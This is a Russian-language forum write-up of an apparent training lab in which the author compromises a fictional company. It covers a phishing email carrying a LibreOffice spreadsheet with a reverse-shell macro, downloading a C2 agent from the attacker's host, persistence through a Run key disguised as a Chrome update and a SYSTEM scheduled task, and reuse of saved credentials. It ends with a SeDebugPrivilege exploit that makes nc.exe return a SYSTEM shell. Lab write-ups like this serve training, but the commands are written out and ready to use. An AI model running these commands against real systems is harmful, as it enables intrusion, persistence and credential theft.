Спойлер: Авторские права
Все авторские права принадлежат студенту и Академии Кодебай
Небольшое напутствие
Если кто-то не понимает большую часть информации - это нормально. Я сам еще и близко не разобрался в теме, лишь делюсь своим опытом. Это просто мои заметки, чтобы я мог их перечитать через некоторое время и сравнить изменения.Нужно понимать, что все приходит только с практикой.
Цель
Скомпрометировать выдуманную компанию. На руках у нас есть почтовый аккаунт с которого требуется заслать письмо сотруднику, который обычно работает с офисными документами.сеть 10.112.0.0/24 почтовый сервер 10.109.0.100
Учетные данные для входа на почтовый сервер:
- Логин – [email protected]
- Пароль – Pass123$1
Сканируем сетку
Первым делом, что я буду делать - это сканировать всю доступную сетку на наличие открытых портов. Мне нужно понять сколько активных хостов в сети и что на них валяется, чтобы уже сообразить как это дело можно поломать.Не удалось прогрузить медиа
пока все это дело сканируется мы пойдем дальше, не будем зря время тратить.
Генерируем макрос
Не удалось прогрузить медиа
Я написал в гугле “github reverse shell macro”. И нашел данный скрипт. Он довольно удобный. Склонировал себе на тачку, прописал ip port машины, где прослушиваешь входящее соединение и ждем.
Не удалось прогрузить медиа
Какой впн адрес мне выдал тот я и прописываю, чтобы далее бот, который откроет мой файл с макросом мог до меня достучаться. Порт ввожу любой доступный к примеру 31337Не удалось прогрузить медиа
Не удалось прогрузить медиа
Включаем лисенер
nc -lnvp 31337Не удалось прогрузить медиа
Тут я вспомнил, что у меня нет офиса. Пришлось его скачивать…
Code:
sudo apt update sudo
apt install libreoffice
После установки либры запускаем нужный софт
libreoffice --calcLibreOffice Calc поддерживает макросы в следующих форматах файлов:
- .ODS (OpenDocument Spreadsheet) – основной формат для LibreOffice Calc, поддерживающий макросы на языке LibreOffice Basic.
- .XLS и .XLSM (Excel) – LibreOffice может открывать файлы Excel с макросами (в формате .XLS или .XLSM), но функциональность макросов может быть ограничена из-за различий между VBA (используемым в Excel) и LibreOffice Basic.
- .ODT (OpenDocument Text) – для макросов в текстовых документах LibreOffice Writer, но Calc может использовать общие макросы, написанные в ODT и других модулях LibreOffice.
Нас интересует формат .ODS, так было указано в задании.
Не удалось прогрузить медиа
Tools ⇒ Macros ⇒ Organize Macros ⇒ Basic
Вставляем макрос, который мы сгенерировали через питон.
Медиа заблокировано
Этот домен не входит в список разрешённых для медиа.
Формат: изображения / GIFДомен:
knightpentest.comРазрешённые домены
imgur.comru.imgbb.comprnt.scimgbb.comibb.coi.imgur.comi.ibb.codarklimb.vipi.pinimg.comimg3.teletype.inimg4.teletype.inteletype.inpikabu.rucs15.pikabu.ruimg2.teletype.inlh7-rt.googleusercontent.comduty-files.ccblogger.googleusercontent.com
Сохраняем данный макрос. И переходим в Tools ⇒ Customize
Медиа заблокировано
Этот домен не входит в список разрешённых для медиа.
Формат: изображения / GIFДомен:
knightpentest.comРазрешённые домены
imgur.comru.imgbb.comprnt.scimgbb.comibb.coi.imgur.comi.ibb.codarklimb.vipi.pinimg.comimg3.teletype.inimg4.teletype.inteletype.inpikabu.rucs15.pikabu.ruimg2.teletype.inlh7-rt.googleusercontent.comduty-files.ccblogger.googleusercontent.com
Задаем правила что бы при открытии и закрытии срабатывал макрос с открытием сокета
Сохраняем файл. Если что-то не понятно, то в интернете есть полно гайдов как создавать макросы для либры в формате .ods. Можете посмотреть. Но суть простая запускается файл, а вместе с ним макрос, который выполняет команду для powershell и к нам подключается зараженная машина. Точнее мы получаем шелл=)) Сейчас все покажу.
Отпрвавляем файл с макросом по почте
И так мы сгенерили макрос. Включили прослушиватель на 31337 порту. Теперь отправляем этот файл.Стоит учитывать момент, что к вашему лисенеру может подключиться только устройство. Как только подключается кто-то порт занят.
Не удалось прогрузить медиа
Всё хорошо, теперь у нас есть шелл. Зальем агента C2 для удобства. Как работать с Havoc описано в предудыщей статье, в телеграм канале и в официальной документации. Еще можете видеоролик рыжего посмотреть на ютубе=)
Закрепляемся в системе
Медиа заблокировано
Этот домен не входит в список разрешённых для медиа.
Формат: изображения / GIFДомен:
knightpentest.comРазрешённые домены
imgur.comru.imgbb.comprnt.scimgbb.comibb.coi.imgur.comi.ibb.codarklimb.vipi.pinimg.comimg3.teletype.inimg4.teletype.inteletype.inpikabu.rucs15.pikabu.ruimg2.teletype.inlh7-rt.googleusercontent.comduty-files.ccblogger.googleusercontent.com
Тут я начинаю понимать, что шелл слетает. Сбрасывается подключение. Нормально работать не получится с таким таймингом. Я пошел искать способы закрепиться в системе.
curl по каким-то причинам не работал. Пришлось использовать “iwr”
iwr http://10.0.0.114:8080/x2.exe -out x2.exeЗапускаем агента
.\x2Медиа заблокировано
Этот домен не входит в список разрешённых для медиа.
Формат: изображения / GIFДомен:
knightpentest.comРазрешённые домены
imgur.comru.imgbb.comprnt.scimgbb.comibb.coi.imgur.comi.ibb.codarklimb.vipi.pinimg.comimg3.teletype.inimg4.teletype.inteletype.inpikabu.rucs15.pikabu.ruimg2.teletype.inlh7-rt.googleusercontent.comduty-files.ccblogger.googleusercontent.com
Ну вот собственно получили сессию, но как видно она сдохла. Проверим удаляется хоть наш агент после разрыва сессии или остается в той же директории. Выполним предыдущие шаги еще раз.
Медиа заблокировано
Этот домен не входит в список разрешённых для медиа.
Формат: изображения / GIFДомен:
knightpentest.comРазрешённые домены
imgur.comru.imgbb.comprnt.scimgbb.comibb.coi.imgur.comi.ibb.codarklimb.vipi.pinimg.comimg3.teletype.inimg4.teletype.inteletype.inpikabu.rucs15.pikabu.ruimg2.teletype.inlh7-rt.googleusercontent.comduty-files.ccblogger.googleusercontent.com
Да, все четко файл сохраняется. Остается сделать так, чтобы он автоматически запускался.
Я пробовал разные варианты например вот так
reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v GoogleChromeUpdatex2 /t REG_SZ /d "c:\windows\tasks\x2.exe" /fили
cmd.exe reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v GoogleChromeUpdatex2 /t REG_SZ /d "c:\windows\tasks\x2.exe" /fМимо. Шелл какой-то нехороший попался походу. Поэтому пришлось всё таки работать из под C2
shell reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v GoogleChromeUpdatex2 /t REG_SZ /d "c:\windows\tasks\x2.exe" /fНе удалось прогрузить медиа
Прекрасно у нас есть закреп, теперь мы можем продолжать работу!
Повышаем привилегии
Первое, что я сделал это прочитал историю команд в powershellshell type $env:APPDATA\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txtНе удалось прогрузить медиа
Как видим после разрыва сессии появляется новая, т.к пользователь входит в систему=)
runas /savecred /user:Р°Р?Р?РёР?РёС?С’С?ађР?С? cmdexitcmdkey /listcmdkey /delete:“Domain:interactive=TERMINAL\Р°Р?Р?РёР?РёС?С’С?ађР?С?”Вот и нашелся потенциальный вариант для повышения привилегий.
Не удалось прогрузить медиа
Даем права всем на исполнение нашего C2
Code:
icacls "c:\windows\tasks\x2.exe" /grant *S-1-1-0:(RX)
runas /savecred /user:TERMINAL\svc "c:\windows\tasks\x2.exe"
Как работает /savecred
Когда вы используете /savecred вместе с runas, Windows запросит пароль для указанного пользователя (в данном случае TERMINAL\svc) только один раз. После этого Windows сохранит эти учетные данные в Диспетчере учетных данных. При последующих запусках команды с этим же параметром /savecred и тем же пользователем, пароль вводить уже не потребуется.
Не удалось прогрузить медиа
Все теперь мы можем работать от имени svc. Не забываем снова закрепиться.Не удалось прогрузить медиа
shell reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v GoogleChromeUpdatex2 /t REG_SZ /d "c:\windows\tasks\x2.exe" /fПовышаемся до уровня системы
Идея заключается в следующем: если у нас есть привилегия SeDebugPrivilege, то мы можем использовать инструмент с GitHub bruno-1337/SeDebugPrivilege-Exploit для запуска nc.exe (или аналогичной программы) от имени SYSTEM. Это позволит получить доступ к командной оболочке с системными правами.Стоит учитывать тот факт
В havoc есть готовый модуль для включения данной привилегии. Логично, что если мы ее не включим, то эксплоит не сработает. Обязательно учитывайте тот факт, что эту команду нужно вводить каждый раз, когда вы подключаетесь к новой сессии.NOTE
Привилегия резервного копирования Система должна предоставить весь контроль доступа на чтение к любому файлу (ограниченный операциями чтения) с помощью этой привилегии. Он используется для чтения хэшей паролей локальных учетных записей администратора из реестра, после чего такие инструменты, как “psexec” или “wmiexec”, могут быть использованы с хэшем (метод Pass-the-Hash). Однако этот метод не работает при двух условиях: когда учетная запись локального администратора отключена или когда существует политика, которая удаляет административные права у локальных администраторов, подключающихся удаленно
token privs-get SeDebugPrivilegeМедиа заблокировано
Этот домен не входит в список разрешённых для медиа.
Формат: изображения / GIFДомен:
knightpentest.comРазрешённые домены
imgur.comru.imgbb.comprnt.scimgbb.comibb.coi.imgur.comi.ibb.codarklimb.vipi.pinimg.comimg3.teletype.inimg4.teletype.inteletype.inpikabu.rucs15.pikabu.ruimg2.teletype.inlh7-rt.googleusercontent.comduty-files.ccblogger.googleusercontent.com
Теперь посмотрим PID, который запущен от имени системы
tasklist /vМедиа заблокировано
Этот домен не входит в список разрешённых для медиа.
Формат: изображения / GIFДомен:
knightpentest.comРазрешённые домены
imgur.comru.imgbb.comprnt.scimgbb.comibb.coi.imgur.comi.ibb.codarklimb.vipi.pinimg.comimg3.teletype.inimg4.teletype.inteletype.inpikabu.rucs15.pikabu.ruimg2.teletype.inlh7-rt.googleusercontent.comduty-files.ccblogger.googleusercontent.com
Я выберу любой процесс с svchost и включу прослушиватель на любом доступном порту.
nc -nlvp 31337Ну и собственно говоря запускаем эксплоит и получаем шелл.
shell sdp.exe 1548 "c:\windows\tasks\nc.exe 10.0.0.114 31337 -e cmd"Медиа заблокировано
Этот домен не входит в список разрешённых для медиа.
Формат: изображения / GIFДомен:
knightpentest.comРазрешённые домены
imgur.comru.imgbb.comprnt.scimgbb.comibb.coi.imgur.comi.ibb.codarklimb.vipi.pinimg.comimg3.teletype.inimg4.teletype.inteletype.inpikabu.rucs15.pikabu.ruimg2.teletype.inlh7-rt.googleusercontent.comduty-files.ccblogger.googleusercontent.com
Медиа заблокировано
Этот домен не входит в список разрешённых для медиа.
Формат: изображения / GIFДомен:
knightpentest.comРазрешённые домены
imgur.comru.imgbb.comprnt.scimgbb.comibb.coi.imgur.comi.ibb.codarklimb.vipi.pinimg.comimg3.teletype.inimg4.teletype.inteletype.inpikabu.rucs15.pikabu.ruimg2.teletype.inlh7-rt.googleusercontent.comduty-files.ccblogger.googleusercontent.com
Медиа заблокировано
Этот домен не входит в список разрешённых для медиа.
Формат: изображения / GIFДомен:
knightpentest.comРазрешённые домены
imgur.comru.imgbb.comprnt.scimgbb.comibb.coi.imgur.comi.ibb.codarklimb.vipi.pinimg.comimg3.teletype.inimg4.teletype.inteletype.inpikabu.rucs15.pikabu.ruimg2.teletype.inlh7-rt.googleusercontent.comduty-files.ccblogger.googleusercontent.com
Закреплялся я через планировщик
schtasks /create /tn DiskPentestera /tr "c:\windows\tasks\x2.exe" / sc onstart /ru SYSTEM /fНу дальше как обычно сливаем локальные креды и снова фаззим сетку. На этом пока что остановимся=)
👍39
🔥11
😁6
🤔4
😢4
💯9
LIMB